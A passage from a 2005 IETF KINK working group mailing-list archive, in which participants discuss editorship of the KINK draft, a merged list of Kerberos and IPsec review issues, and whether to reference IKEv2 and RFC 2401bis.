these comments and will edit the draft ? > If no one did or will do that, our team is ready to gather them > and will edit the draft. >=20 > There are some people interested in the protocol. I think that we > should have a meeting in order to manage the KINK WG. I am not sure > that "manage" is suitable word. To complete the KINK specification may > be suitable. We have two items at least. One is to make a consensus > the modification of current draft. Second is to discuss how to > manage the WG. I dont mind that the scale of the meeting is > a WG meeting, a BoF, a closed meeting or a lunch meeting. > I want to know who will join the meeting. Of course I will. >=20 > And we have to make a milestone ASAP. Here is from "Goals and Milestones= " > in the WG page, >=20 > Done Reach Consensus on requirements document > Done Meet at San Diego IETF to review drafts > Jan 01 Reach Consensus on base draft protocol > Feb 01 Conduct WG last call on base draft prototol > Mar 01 Begin Interoperability bakeoffs > Aug 01 Document interoperability results. > Make decision to recycle or move forward >=20 > The items would be: >=20 > Feb 14 Submit draft kink-07 with editorial modifications. > Mar 01 Review the issue of current draft, kink-06. > Apr 01 Reach Consensus on draft. > May 01 Resubmit revised draft as Proposed Standard. > Aug 01 Begin Interoperability bakeoffs. > Sep 01 Document interoperability results. >=20 > If the chair has had the set already, I am sorry for my meddling, > but at least I have not seen yet. Thease are just my opinion, > any comment welcome. That would be help for the chairs. --=-dOpC4YXrVShRLI2Y5hnB Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iQCVAwUAQe8Os7MsDAj/Eq++AQL92AQAj0kkXCrIouO33S6+3BfbN6bSu+3MmrJN dMRqgp+aIleFfI9GZFnwyhycgSAixDtBlrM5gl48NvXU3SGOfNlmy3D3iyMXsDIL eIeiJHG//xuwmWTDEp60l2hvrOvqyUl47QtvAAMHDeLeZp8DhTHwfB4KyP+6ot4E CfSqcGGTwMg= =dKxZ -----END PGP SIGNATURE----- --=-dOpC4YXrVShRLI2Y5hnB-- From owner-ietf-kink Wed Jan 19 18:03:13 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0K23DbS010940; Wed, 19 Jan 2005 18:03:13 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0K23DrX010939; Wed, 19 Jan 2005 18:03:13 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from dogbert.ihtfp.org (me@DOGBERT.IHTFP.ORG [204.107.200.33]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0K23Cpx010915 for ; Wed, 19 Jan 2005 18:03:13 -0800 (PST) (envelope-from warlord@MIT.EDU) Received: (from warlord@localhost) by dogbert.ihtfp.org (8.12.9) id j0K239R0006567; Wed, 19 Jan 2005 21:03:09 -0500 To: Michael Thomas Cc: Shoichi Sakane , ietf-kink@vpnc.org Subject: Re: who will edit the draft ? References: <20050120102450Q.sakane@kame.net> <1106185907.2953.37.camel@thomasm-lnx.cisco.com> From: Derek Atkins Date: Wed, 19 Jan 2005 21:03:09 -0500 In-Reply-To: <1106185907.2953.37.camel@thomasm-lnx.cisco.com> (Michael Thomas's message of "Wed, 19 Jan 2005 17:51:47 -0800") Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.1 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hi, Michael Thomas writes: > I'm still willing to edit the draft if we're not > talking about wholesale changes, and we're talking > about a relatively modest amount of time (eg, a > few months). I hope it'll only take a few months, but I know Sam is going to be a stickler for quality before the IESG. This isn't a bad thing, but I think it's going to put a lot more scrutiny on the document, so it may be significantly more work than you expect at the moment. It's hard to say right now. At the face of it we need to update the document to meet the new format requirements, update to krb-clarifications and krb-crypto, and probably update to reference IKEv2 and 2401bis. I dont know what other changes are going to be required. So, if you're willing (and able) to put in the time and effort to remain the editor I'm happy to keep you. However if you feel that you cannot commit to the task I'd ask that we find someone else. I leave that choice up to you for now. > Has a decision been made on wg meeting in MPLS? > I'm hoping that the issues don't require a f2f > meeting, but it would be good to know one way or > the other. I'm willing to go either way. If the WG believes we need a face to face meeting then I'll gladly arrange for one. > Mike -derek -- Derek Atkins 617-623-3745 derek@ihtfp.com www.ihtfp.com Computer and Internet Security Consultant From owner-ietf-kink Wed Jan 19 18:04:00 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0K240At011590; Wed, 19 Jan 2005 18:04:00 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0K240AO011589; Wed, 19 Jan 2005 18:04:00 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0K23xEi011579 for ; Wed, 19 Jan 2005 18:03:59 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 952C911 for ; Thu, 20 Jan 2005 11:03:58 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 24Um0S; Thu, 20 Jan 2005 11:03:58 +0900 (JST) Date: Thu, 20 Jan 2005 11:04:48 +0900 Message-ID: <20050120110448RR%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: KINK issue list In-Reply-To: <20050120103639RZ%kamada@nanohz.org> References: <20050120102450Q.sakane@kame.net> <20050120103639RZ%kamada@nanohz.org> User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Here is a merged version of KINK issues expressed till now. If I missed some of them you noted, please let me know. [**] Indicates an issue considered substantive. [-] Indicates an editorial issue. [**] user-to-user (section 3 and 4.2) It seems like the server tells the client what principal to authenticate to, but this principal is not properly authorized. (Sam Hartman) More examination of user-to-user case, especially situations where it might *not* be two PKINIT clients, which section 3 says is possible. (BTW, in the Kerberos docs, it's "user-to-user", not "user-user".) (Ken Raeburn) Verifying remotely supplied identity, as Sam raised earlier. (Ken Raeburn) In the user-to-user case with TGTs, I think the KINK draft may be over-specifying things that should be dealt with at the Kerberos level. If things are underspecified in Kerberos Clarifications, let's deal with that. (Ken Raeburn) Section 4.2: [**] How will the initiator determine whether it will be able to get a TGT? I think policy considerations of when to use u2u and authorization considerations of what u2u principals are authorized are underspecified in the draft. (Sam Hartman) [**] Make sure the descriptions of u2u work correctly in the cross-realm case. (Sam Hartman) [**] CREATE Security Association from the aspect of 2401bis (section 4.3) [**] I need explicit review from the IPsec reviewer of this section to make sure it is compatible with 2401bis. IN addition, any differences between how this works and how IKE would set up the same SA need to be called out. It is fine for there to be differences, but I want to make sure the working group explicitly decided the differences are a good thing. I'm somewhat concerned that 4.3 is not specific enough to describe exactly what key gets set up. I.E. I'm concerned it may not be detailed enough for interoperable implementations. (Sam Hartman) [*] When 3-way, is responder's nonce MUST or SHOULD? (section 4.3 and 7.3) Sec 4.3 and 7.3 use SHOULD and MUST respectively regarding when the nonce should be used. If the circumstances they're describing are different, that's okay, but if so, I missed it on first reading. (Ken Raeburn) [*] Half open (section 4.4) IPsec does not allow half-open security associations any more as far as I can tell in 2401bis. So it's not just for simplicity, but for model conformance. (Sam Hartman) [**] Section 4.4.2 [**] Discuss status message, rebooting peers and u2u. This looks a lot like the IKE case where you lose all cryptographic context to me. [*] CksumLen (section 5) Diagram indicates one octet for cksumlen, but the text (and kcrypto specifications) say it should be two. [**] etype does not directly indicate checksum type (section 5) a key's encryption type does not directly indicate a checksum type, it indicates an encryption(-with-integrity-protection) scheme, which does include a required-to-implement checksum type (Ken Raeburn) [**] Kerberos allows variable length checksum (section 5) I'd have to go back and check, but I don't think we require that a given checksum type have a fixed output size, so "leave X amount of space and fill it with zero for computing the checksum" is questionable too. (Ken Raeburn) [*] Kerberos checksum is not deterministic (section 5) The Kink description of how to verify a checksum assumes that Kerberos checksums are deterministic; this is not strictly required. (Sam Hartman) let kcrypto specify how to verify a checksum, as they're not required to be deterministic, so the "compute it again and compare" approach specified in section 5 is wrong (Ken Raeburn) The spec should describe how to verify checksum as follows. To verify the checksum, the checksum is saved, and the checksum field is zeroed out. The resulting message and the saved checksum are passed to the verification function. If the verification fails, the message MUST be dropped. [*] Subsession keys (section 5 and 8) Are subsession keys ignored? (Ken Raeburn) [**] Checksum when KRB-ERROR occured (section 5.1.4 and 7.1) Section 7.1 says the checksum in the KRB-ERROR message is not used, but section 5.1.4 says that KINK implementation MUST make use of keyed Kerberos errors. But KRB-ERROR does not have checksum in it (at least with RFC 1510 or kerberos-clarifications). I think a correct phrase here is "KINK implementations MUST make use of a KINK Cksum field when returning KINK_KRB_ERROR and the appropriate service key is available." [**] KINK_ENCRYPT format (section 5.1.8) The format of the encrypted part of KINK_ENCRYPT (section 5.1.8) is vague. I think of using the output of raw encryption algorithms (i.e. E(confounder | plaintext | pad)) or using EncryptedData. treat "encryption with integrity protection" output as a whole, don't peek under the covers to find a "checksum" part you can throw away (Ken Raeburn) drop references to the initialization vector (Ken Raeburn) [*] Kerberos PFS (section 6.8) Sec 6.8: "Kerberos in general does not provide FPS so it is somewhat questionable whether a system which is heavily relying on Kerberos benefits from PFS." First, that sounds like it might be Security Considerations material. Second, I don't follow; explain please? (Ken Raeburn) [*] MUST/SHOULD in clock skew (section 7.1) The time difference MUST be computed and SHOULD be stored and used? Why the different requirement levels? (And is this sort of thing in the domain of KINK or Kerberos?) (Ken Raeburn) [**] prf (section 8) Section 8 says "prf is the same hash algorithm found in the session ticket's etype", but krb-wg-crypto-07 defines hash as unkeyed. Fortunately krb-wg-crypto-07 defines a PRF for each etype, so KINK should use this PRF. Use a prf from kcrypto, don't assume the checksum operations are deterministic hash functions (Ken Raeburn) [*] Key derivation (section 8) The key derivation seems inconsistent with the crypto framework document. (Sam Hartman) [*] Key usage Usage of kink should specify the key usage numbers for kerberos encryption. (Sam Hartman) [*] 2401bis section 4.4.1: Please make sure this discussion is aligned with 2401bis. I think it may change small details but they seem to have adopted much of the same strategy kink uses. The area wher I believe they speak to this issue is when you should rekey (timers etc) [*] IKEv2 Should we adopt IKEv2? If we should... - IKEv2 does not have DOI, so how to handle the DOI field in the KINK packet header should be described. - Use TS (Traffic Selector) instead of ID (Identification). - KEYMAT calculation is changed. - How to handle REKEY_SA Notify type. [*] behavior on KINK_ERROR In implementor's point of view, I'd like to see initiator's behavior in receiving KINK_ERROR to be defined. For example: - When KINK_OK is received, initiator MAY act as if the KINK_ERROR payload was not included in the messaged. - When KINK_BADQMVERS is received and the Cksum is verified, initiator MAY retry in other Quick Mode version. - When one of other error codes is received and the Cksum is verified, initiator SHOULD abort the negotiation. [-] I-D nits Review the I-D nits and RFC authors docs. I spotted a lot of mechanical things (number of lines per page; avoid hyphenation; use ragged right margin; need two spaces after sentence-ending period; fix page numbers in table of contents; add section numbers to TOC) most of which I think are specified in one of those documents. (Ken Raeburn) the document needs to meet all the ID nits when it is submitted. (Sam Hartman) [-] IANA considerations I think the correct terminology is "port number", not "port", and they're "assigned", not "created". This section says no new registries are required in the first paragraph, and the third one specifies that IANA must create one (but without the associated procedural data that is required nowadays). Are the KINK payload types and ISAKMP payload types actually ever used in the same field? If not, I don't think they need to come out of the same registry. (Ken Raeburn) [-] Wording/Terminology Section 2 and 10.1. Kerberos is now using the term user-user rather than user-to-user. (Sam Hartman) Section 2. Principals are not either client or service principals; they can and often do fill both roles. (Sam Hartman) Section 2, last paragraph. "Between" is generally non-directional, but in this case, a direction seems to be intended to be inferred; try "from...to" instead. (Ken Raeburn) Section 3, English usage/grammar problems with the first two paragraphs. (Sam Hartman) Section 3. which allows a final acknowledgment message when the respondent needs a full three-way handshake. This is only needed when the optimistic keying route is not taken, though it is expected that that will not be the norm. KINK also provides rekeying and dead peer detection as What is expected not to be the norm? Please reword. (Sam Hartman) Section 4.3, discussing attributes, mixes singular and plural indications. The word "lone" appears to be popular with the author, too. :-) (Ken Raeburn) Sec 8: "By optional, it is meant..." is badly worded. (Ken Raeburn) [-] References The reference to [PKCROSS] is unnecessary, and only happens once, in the introduction. I'd suggest dropping it. That's one less unpublished I-D in the references section. (Ken Raeburn) [KRBREVS] is referenced but not listed in the references section. (Ken Raeburn) Sec 5.1.7, next to last paragraph on page 21, is "IKE" (the protocol) fuzzy about use of different SAs, or is it "[IKE]" (the document)? (Ken Raeburn) Section 1: Remove the reference to pkcross or cite something outside the IETF. It's an expired ID without and active editor. (Sam Hartman) Section 1: Add an informative reference to IKE. (Sam Hartman) Section 2: Cite a reference for DER. (Sam Hartman) [-] Typos 4.4.2. Dead Peer Detection In the fourth paragraph, "loose" is to be "lose". 5.1.1. KINK Padding Rules In the second item, "other other" is to be "other". 5.1.1. KINK Padding Rules The first item in the list should end with a period like the others. (Ken Raeburn) 5.1.5. KINK_TGT_REQ Payload In the third item, "krbtgt/REALM/@REALM" is to be "krbtgt/REALM@REALM". 5.1.6. KINK_TGT_REP Payload In the caption of Figure 13, "KINK_TGT_REQ" is to be "KINK_TGT_REP". 7.3. CREATE "IPspec" is to be "IPsec". 7.5. STATUS In the last paragraph, "REPLY KINK Header" should be in one line. In the last paragraph, "[KRB_ERROR]" is to be "[KINK_ERROR]". overall: "'s" is used in some places where I'd use "s" for a plural form. -- KAMADA Ken'ichi From owner-ietf-kink Wed Jan 19 18:15:23 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0K2FNbP028083; Wed, 19 Jan 2005 18:15:23 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0K2FMKM028079; Wed, 19 Jan 2005 18:15:22 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0K2FK4N028007 for ; Wed, 19 Jan 2005 18:15:20 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (cp.64translator.com [202.214.123.2]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j0K2FThB025737 for ; Thu, 20 Jan 2005 11:15:29 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: KINK should referenece to IKEv2? X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050120111553S.sakane@kame.net> Date: Thu, 20 Jan 2005 11:15:53 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 4 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: In my opinion from reading the minutes at the IETF50 minneapolis, there is no strict reason to change the referenece from IKEv1 to IKEv2 because the ISAKMP payload in the KINK is just used to carry a set of IPsec parameters, and Notification Payloads. From owner-ietf-kink Wed Jan 19 18:31:47 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0K2Vl5j050227; Wed, 19 Jan 2005 18:31:47 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0K2VlZq050226; Wed, 19 Jan 2005 18:31:47 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from miyazawa.org (usen-221x116x13x66.ap-US01.usen.ad.jp [221.116.13.66]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0K2VktE049685 for ; Wed, 19 Jan 2005 18:31:47 -0800 (PST) (envelope-from kazunori@miyazawa.org) Received: from [IPv6:2001:240:2:0:c926:991b:c386:a4d7] ([2001:240:2:0:c926:991b:c386:a4d7]) (AUTH: LOGIN kazunori, SSL: TLSv1/SSLv3,128bits,RC4-MD5) by miyazawa.org with esmtp; Thu, 20 Jan 2005 11:25:08 +0900 id 000008FF.41EF1684.00007195 Message-ID: <41EF17D7.4060108@miyazawa.org> Date: Thu, 20 Jan 2005 11:30:47 +0900 From: Kazunori Miyazawa User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: ja, en-us, en MIME-Version: 1.0 To: Shoichi Sakane CC: ietf-kink@vpnc.org Subject: Re: KINK should referenece to IKEv2? References: <20050120111553S.sakane@kame.net> In-Reply-To: <20050120111553S.sakane@kame.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Shoichi Sakane wrote: > In my opinion from reading the minutes at the IETF50 minneapolis, > there is no strict reason to change the referenece from IKEv1 to IKEv2 > because the ISAKMP payload in the KINK is just used to carry a set of > IPsec parameters, and Notification Payloads. > We should have a consensus whether we will discuss KINK based on rfc2401bis or rfc2401. -- Kazunori Miyazawa From owner-ietf-kink Wed Jan 19 19:19:50 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0K3JoYr006554; Wed, 19 Jan 2005 19:19:50 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0K3Jogh006553; Wed, 19 Jan 2005 19:19:50 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0K3JiUp006491 for ; Wed, 19 Jan 2005 19:19:49 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (cp.64translator.com [202.214.123.2]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j0K3JrhB026129 for ; Thu, 20 Jan 2005 12:19:54 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: Re: KINK should referenece to IKEv2? In-Reply-To: Your message of "Thu, 20 Jan 2005 11:30:47 +0900" <41EF17D7.4060108@miyazawa.org> References: <41EF17D7.4060108@miyazawa.org> X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050120122017V.sakane@kame.net> Date: Thu, 20 Jan 2005 12:20:17 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 23 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > > In my opinion from reading the minutes at the IETF50 minneapolis, > > there is no strict reason to change the referenece from IKEv1 to IKEv2 > > because the ISAKMP payload in the KINK is just used to carry a set of > > IPsec parameters, and Notification Payloads. > We should have a consensus whether we will discuss KINK based on rfc2401bis > or rfc2401. Well I put on a KINK hat, if the KINK specification will conform to rfc2401bis and if the KINK won't work on the stack based on *RFC2401*, we won't be happy because it will take long time to deploy the stack based on rfc2401bis. so we need to implement a stack based on rfc2401bis first before we will run a KINK function. so we can have four choices while researching the difference between 2401bis and RFC2401 from KINK requirement of view: 1. make a standard base on both rfc2401 and IKEv1. 2. make a standard base on both rfc2401 and IKEv2. 3. make a standard base on both 2401bis and IKEv1. 4. make a standard base on both 2401bis and IKEv2. I would like #1 then we proceed to #4. From owner-ietf-kink Wed Jan 19 19:56:53 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0K3urII056066; Wed, 19 Jan 2005 19:56:53 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0K3urDO056065; Wed, 19 Jan 2005 19:56:53 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from march.taca.jp (vbox.nezu.wide.ad.jp [203.178.142.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0K3uhxu056031 for ; Wed, 19 Jan 2005 19:56:48 -0800 (PST) (envelope-from nov@tahi.org) Received: from localhost (vbox.nezu.wide.ad.jp [203.178.142.195]) by march.taca.jp (Postfix) with ESMTP id CBBAE1FBC2; Thu, 20 Jan 2005 12:56:40 +0900 (JST) Date: Thu, 20 Jan 2005 12:56:18 +0900 (JST) Message-Id: <20050120.125618.134143696.nov@tahi.org> To: sakane@kame.net Cc: ietf-kink@vpnc.org Subject: Re: KINK should referenece to IKEv2? From: Nobuo OKABE In-Reply-To: <20050120122017V.sakane@kame.net> References: <41EF17D7.4060108@miyazawa.org> <20050120122017V.sakane@kame.net> X-Mailer: Mew version 4.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: From: Shoichi Sakane Subject: Re: KINK should referenece to IKEv2? Date: Thu, 20 Jan 2005 12:20:17 +0900 > so we can have four choices while researching the difference between > 2401bis and RFC2401 from KINK requirement of view: > > 1. make a standard base on both rfc2401 and IKEv1. > 2. make a standard base on both rfc2401 and IKEv2. > 3. make a standard base on both 2401bis and IKEv1. > 4. make a standard base on both 2401bis and IKEv2. > > I would like #1 then we proceed to #4. I agree with your choise (i.e. #4) if we can keep new milestones which the chairs proposed today. My point is how stable 2401bis is. ----- nobuo From owner-ietf-kink Wed Jan 19 20:03:14 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0K43EtD062050; Wed, 19 Jan 2005 20:03:14 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0K43ESX062049; Wed, 19 Jan 2005 20:03:14 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from march.taca.jp (vbox.nezu.wide.ad.jp [203.178.142.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0K43DMv062026 for ; Wed, 19 Jan 2005 20:03:13 -0800 (PST) (envelope-from nov@tahi.org) Received: from localhost (vbox.nezu.wide.ad.jp [203.178.142.195]) by march.taca.jp (Postfix) with ESMTP id C01C01FBC2; Thu, 20 Jan 2005 13:03:10 +0900 (JST) Date: Thu, 20 Jan 2005 13:02:59 +0900 (JST) Message-Id: <20050120.130259.111386852.nov@tahi.org> To: sakane@kame.net Cc: ietf-kink@vpnc.org Subject: Re: KINK should referenece to IKEv2? From: Nobuo OKABE In-Reply-To: <20050120.125618.134143696.nov@tahi.org> References: <41EF17D7.4060108@miyazawa.org> <20050120122017V.sakane@kame.net> <20050120.125618.134143696.nov@tahi.org> X-Mailer: Mew version 4.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Sorry, I goofed. Please ignore my previous mail. I fully agree with sakane-san (i.e. first #1, then #4). From: Nobuo OKABE Subject: Re: KINK should referenece to IKEv2? Date: Thu, 20 Jan 2005 12:56:18 +0900 (JST) > From: Shoichi Sakane > Subject: Re: KINK should referenece to IKEv2? > Date: Thu, 20 Jan 2005 12:20:17 +0900 > > > so we can have four choices while researching the difference between > > 2401bis and RFC2401 from KINK requirement of view: > > > > 1. make a standard base on both rfc2401 and IKEv1. > > 2. make a standard base on both rfc2401 and IKEv2. > > 3. make a standard base on both 2401bis and IKEv1. > > 4. make a standard base on both 2401bis and IKEv2. > > > > I would like #1 then we proceed to #4. > > I agree with your choise (i.e. #4) if we can keep new milestones > which the chairs proposed today. > > My point is how stable 2401bis is. ----- nobuo From owner-ietf-kink Wed Jan 19 20:11:24 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0K4BOEJ072609; Wed, 19 Jan 2005 20:11:24 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0K4BO98072608; Wed, 19 Jan 2005 20:11:24 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from biscayne-one-station.mit.edu (BISCAYNE-ONE-STATION.MIT.EDU [18.7.7.80]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0K4BKNH072477 for ; Wed, 19 Jan 2005 20:11:20 -0800 (PST) (envelope-from raeburn@MIT.EDU) Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103]) by biscayne-one-station.mit.edu (8.12.4/8.9.2) with ESMTP id j0K4BHva009347 for ; Wed, 19 Jan 2005 23:11:18 -0500 (EST) Received: from [18.101.0.226] ([18.101.0.226]) (authenticated bits=0) (User authenticated as raeburn@ATHENA.MIT.EDU) by outgoing.mit.edu (8.12.4/8.12.4) with ESMTP id j0K4BE1x007528 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT) for ; Wed, 19 Jan 2005 23:11:16 -0500 (EST) Mime-Version: 1.0 (Apple Message framework v619) In-Reply-To: References: Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <500B80B3-6A99-11D9-9F67-000A95909EE2@mit.edu> Content-Transfer-Encoding: 7bit From: Ken Raeburn Subject: Re: AD review: draft-ietf-kink-kink [section 1-4] Date: Wed, 19 Jan 2005 23:11:08 -0500 To: ietf-kink@vpnc.org X-Mailer: Apple Mail (2.619) X-Spam-Score: -4.9 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.42 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: On Jan 18, 2005, at 17:31, Sam Hartman wrote: > Kerberos is now using the term user-user rather than user-to-user. You've got this backwards, Sam. Both RFC 1510 and draft-ietf-krb-wg-kerberos-clarifications use "user-to-user". Ken From owner-ietf-kink Wed Jan 19 20:23:48 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0K4NmVR087608; Wed, 19 Jan 2005 20:23:48 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0K4NmDp087607; Wed, 19 Jan 2005 20:23:48 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from sj-iport-5.cisco.com (sj-iport-5.cisco.com [171.68.10.87]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0K4Nj5N087551 for ; Wed, 19 Jan 2005 20:23:47 -0800 (PST) (envelope-from vilhuber@cisco.com) Received: from sj-core-4.cisco.com (171.68.223.138) by sj-iport-5.cisco.com with ESMTP; 19 Jan 2005 20:24:57 -0800 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== Received: from localhost (vilhuber-u30.cisco.com [128.107.162.107]) by sj-core-4.cisco.com (8.12.10/8.12.6) with ESMTP id j0K4Nb1N012568; Wed, 19 Jan 2005 20:23:38 -0800 (PST) Date: Wed, 19 Jan 2005 20:23:34 -0800 (PST) From: Jan Vilhuber X-X-Sender: vilhuber@mediapc.goinhome.com To: Derek Atkins cc: Michael Thomas , Shoichi Sakane , ietf-kink@vpnc.org Subject: Re: who will edit the draft ? In-Reply-To: Message-ID: References: <20050120102450Q.sakane@kame.net> <1106185907.2953.37.camel@thomasm-lnx.cisco.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: On Wed, 19 Jan 2005, Derek Atkins wrote: > > Hi, > > Michael Thomas writes: > > > I'm still willing to edit the draft if we're not > > talking about wholesale changes, and we're talking > > about a relatively modest amount of time (eg, a > > few months). > > I hope it'll only take a few months, but I know Sam is going to be a > stickler for quality before the IESG. This isn't a bad thing, but I > think it's going to put a lot more scrutiny on the document, so it may > be significantly more work than you expect at the moment. It's hard > to say right now. > > At the face of it we need to update the document to meet the new > format requirements, update to krb-clarifications and krb-crypto, and > probably update to reference IKEv2 and 2401bis. I dont know what > other changes are going to be required. > I think I missed something: Why do we need to update to reference ikev2? The ikev1 phase 2 exchange works just fine. jan > So, if you're willing (and able) to put in the time and effort to > remain the editor I'm happy to keep you. However if you feel that you > cannot commit to the task I'd ask that 